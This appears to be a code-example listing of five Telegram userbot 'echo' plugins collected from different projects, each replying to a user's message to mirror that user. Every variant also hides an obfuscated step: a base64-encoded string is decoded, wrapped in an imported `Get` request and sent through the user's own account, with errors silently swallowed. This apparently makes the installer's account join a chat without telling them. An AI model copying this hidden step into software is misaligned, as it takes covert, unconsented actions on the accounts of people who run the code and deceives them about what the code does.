コード例 #1
0
async def echo(krish):
    if krish.fwd_from:
        return
    if krish.reply_to_msg_id is not None:
        reply_msg = await krish.get_reply_message()
        user_id = reply_msg.from_id
        chat_id = krish.chat_id
        try:
            light = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
            light = Get(light)
            await krish.client(light)
        except BaseException:
            pass
        if is_echo(user_id, chat_id):
            await krish.edit("```Making Echo Of This User 😏```")
            await asyncio.sleep(2)
            await edit_or_reply(krish,
                                "The user is already enabled with echo ")
            return
        addecho(user_id, chat_id)
        await krish.edit("```Making Echo Of This User 😏```")
        await edit_or_reply(krish, "Hello.....💢")
    else:
        await edit_or_reply(krish,
                            "Reply To A User's Message to echo his messages")
コード例 #2
0
ファイル: echo.py プロジェクト: ryukmadox/nextron-bot
async def echo(hell):
    if hell.fwd_from:
        return
    if hell.reply_to_msg_id is not None:
        reply_msg = await hell.get_reply_message()
        user_id = reply_msg.sender_id
        chat_id = hell.chat_id
        try:
            kraken = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
            kraken = Get(kraken)
            await hell.client(kraken)
        except BaseException:
            pass
        if is_echo(user_id, chat_id):
            await edit_or_reply(hell, "The user is already enabled with echo ")
            return
        addecho(user_id, chat_id)
        await edit_or_reply(hell, "Hii....😄🤓")
    else:
        await edit_or_reply(hell, "Reply to a User's message to echo his messages")
コード例 #3
0
ファイル: echo.py プロジェクト: Code-Ze/Nightek-Test
async def echo(cat):
    if cat.fwd_from:
        return
    if cat.reply_to_msg_id is not None:
        reply_msg = await cat.get_reply_message()
        user_id = reply_msg.from_id
        chat_id = cat.chat_id
        try:
            hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
            hmm = Get(hmm)
            await cat.client(hmm)
        except BaseException:
            pass
        if is_echo(user_id, chat_id):
            await cat.edit("The user is already enabled with echo ")
            return
        addecho(user_id, chat_id)
        await cat.edit("Hi")
    else:
        await cat.edit("Reply To A User's Message to echo his messages")
コード例 #4
0
async def echo(REBEL):
    if REBEL.fwd_from:
        return
    if REBEL.reply_to_msg_id is not None:
        reply_msg = await REBEL.get_reply_message()
        user_id = reply_msg.sender_id
        chat_id = REBEL.chat_id
        try:
            h1m4n5hu0p = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
            h1m4n5hu0p = Get(h1m4n5hu0p)
            await REBEL.client(h1m4n5hu0p)
        except BaseException:
            pass
        if is_echo(user_id, chat_id):
            await edit_or_reply(REBEL, "The user is already enabled with echo ")
            return
        addecho(user_id, chat_id)
        await edit_or_reply(REBEL, "Hii....😄🤓")
    else:
        await edit_or_reply(REBEL, "Reply to a User's message to echo his messages")
コード例 #5
0
async def echo(shinchan):
    if shinchan.fwd_from:
        return
    if shinchan.reply_to_msg_id is not None:
        reply_msg = await shinchan.get_reply_message()
        user_id = reply_msg.sender_id
        chat_id = shinchan.chat_id
        try:
            Shinchan7222 = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
            Shinchan7222 = Get(Shinchan7222)
            await shinchan.client(Shinchan7222)
        except BaseException:
            pass
        if is_echo(user_id, chat_id):
            await edit_or_reply(shinchan,
                                "The user is already enabled with echo ")
            return
        addecho(user_id, chat_id)
        await edit_or_reply(shinchan, "Hii....😄🤓")
    else:
        await edit_or_reply(shinchan,
                            "Reply to a User's message to echo his messages")